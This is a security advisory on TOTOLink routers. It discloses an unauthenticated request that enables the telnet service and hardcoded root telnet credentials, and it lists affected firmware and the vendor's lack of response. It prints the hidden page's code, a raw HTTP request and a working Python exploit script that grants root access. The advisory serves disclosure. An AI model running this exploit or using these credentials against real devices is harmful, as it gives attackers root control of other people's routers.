# SSD Advisory - TOTOLink Auth Bypass and Device Backdoor
December 16, 2021 [SSD Disclosure / Technical Lead](https://ssd-
disclosure.com/author/noamr/ "Posts by SSD Disclosure / Technical Lead")
[Uncategorized](https://ssd-disclosure.com/category/uncategorized/)
**TL;DR**
Find out how multiple vulnerabilities in TOTOLink allows a LAN unauthenticated
attacker to gain `root` access to the device.
**Vulnerability Summary**
Two security vulnerabilities have been found in the TOTOLink devices, one
allows starting the `telnet` service without requiring the attacker to know
the credentials of the device, and the second vulnerability is a default
credentials set to the `telnet` service which allows root access to the
device.
****Credit****
An independent security researcher has reported this bypass to the SSD Secure
Disclosure program.
**Affected Versions**
* TOTOLink A7000R Firmware Version: V9.1.0U.6115_B20201022
* TOTOLink A3000RU Firmware version: V4.1.2 CU.5185_B20201128
* TOTOLink A950RG Firmware version: V4.1.2CU.5204_B20210112
* TOTOLink 3100R Firmware Version: V4.1.2 CU.5050_B20200504
* TOTOLink A810R Firmware version: V4.1.2CU.5182_B20201026
**Vendor Response**
TOTOLink has been contacted in September 2021 and has initially responded and
planned to publish an update, from November no additional updates have been
received or followup emails have received any response. At the time of writing
this advisory it is unclear what is the status, whether patches were released
or are planned to be released.
**Vulnerability Analysis**
While inspecting the TOTOLink A800R device's UART interface and attempting to
login, a password prompt shows up, this immediately raised my curiosity on
what the default password would be - attempts to brute force failed and I
therefore decided to inspect the firmware.
The latest firmware from the TOTOLink site, and `binwalk` it revealed the
`passwd` and `shadow` file and subsequently the default credentials of
`root/CS2012`. While this was interesting, it wasn't very useful for a remote
attacker, and I decided to look further.
Mainly out of interest what other secrets and hard-coded stuff might be found
inside it. The most interesting folder found in the Firmware is the
`/web_cste/` where the device provides web services through a reference to it
found in `/etc/lighttpd.conf`.
In this folder I sensitive found the `telnet.asp` file.
![](data:image/gif;base64,R0lGODlhAQABAAAAACH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==)![](https://images.seebug.org/1640157103889-w331s)
According to the contents of this file, you can see that this file is used to
enable Telnet on the device. The file is not visible to users on the device
Web management interface.
<script>
$(function(){
var postVar={topicurl:"setting/getTelnetCfg"};
postVar=JSON.stringify(postVar);
$.ajax({
type : "post", url : " /cgi-bin/cstecgi.cgi", data : postVar, async : false, success : function(Data){
var rJson=JSON.parse(Data);
supplyValue("telnet_enabled",rJson['telnet_enabled']);
}
});
});
function doSubmit(){
var postVar={"topicurl" : "setting/setTelnetCfg"};
postVar['telnet_enabled']=$('#telnet_enabled').val();
uiPost(postVar);
}
</script>
</head>
<body class="mainbody">
<table width="700">
<tr>
<td>
<table border=0 width="100%">
<tr>
<td class="content_title">Telnet</td>
</tr>
<tr>
<td height="1" class="line"></td>
</tr>
</table>
<table border=0 width="100%">
<tr>
<td class="item_left">On/Off</td>
<td>
<select class="select" id="telnet_enabled">
<option value="0">Off</option>
<option value="1">On</option>
</select>
</td>
</tr>
</table>
<table border=0 width="100%">
<tr>
<td height="1" class="line"></td>
</tr>
<tr>
<td height="10"></td>
</tr>
<tr>
<td align="right"><input type=button class=button value="Apply" onClick="doSubmit()"></td>
</tr>
</table>
</td>
</tr>
</table>
</body>
</html>
According to the properties of the lighttpd, I construct the
`http://192.168.0.1/telnet.asp` URL to access the file directly, but the login
prompt was seen. Logging in, showed that the page can set the `on` value for
Telnet. And then you can use Telnet to connect directly, and use the
`root/cs2012`.
While this was good, I wanted to see if I can bypass the whole login process -
i.e. not know the username and password and get the telnet with its hardcoded
credentials to become accessible.
What I found is that the code does not validate the cookie value in the
request header for this page, mainly sending this:
POST /cgi-bin/cstecgi.cgi HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.0.1/telnet.asp
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 56
Cookie: SESSION_ID=2:1505223198:2
Connection: close
{"topicurl":"setting/setTelnetCfg","telnet_enabled":"1"}
Will turn `on` the telnet port, this without actually verifying that we have a
valid session (login).
**Demo**
https://youtu.be/hj2EBz0jmQw
**Exploit**
#!/usr/bin/python3
import requests
import json
hostname = 'some_ip:8090'
url = f"http://{hostname}/cgi-bin/cstecgi.cgi"
dataGet = {"topicurl": "setting/getTelnetCfg"}
headers = {'Content-type': 'application/json'}
responseGet = requests.post(url, json=dataGet, headers=headers)
print(f"Current Telnet Configuration: {responseGet.json()['telnet_enabled']}")
print("Changing telnet to 'open'")
dataSet = {"topicurl": "setting/setTelnetCfg", "telnet_enabled":"1"}
responseSet = requests.post(url, json=dataSet, headers=headers)
print(f"Response: {responseSet.json()}")
responseGet = requests.post(url, json=dataGet, headers=headers)
print(f"New Telnet Configuration: {responseGet.json()['telnet_enabled']}")
print(f"You can now telnet to {responseSet.json()['lan_ip']} and get 'root' access")
暂无评论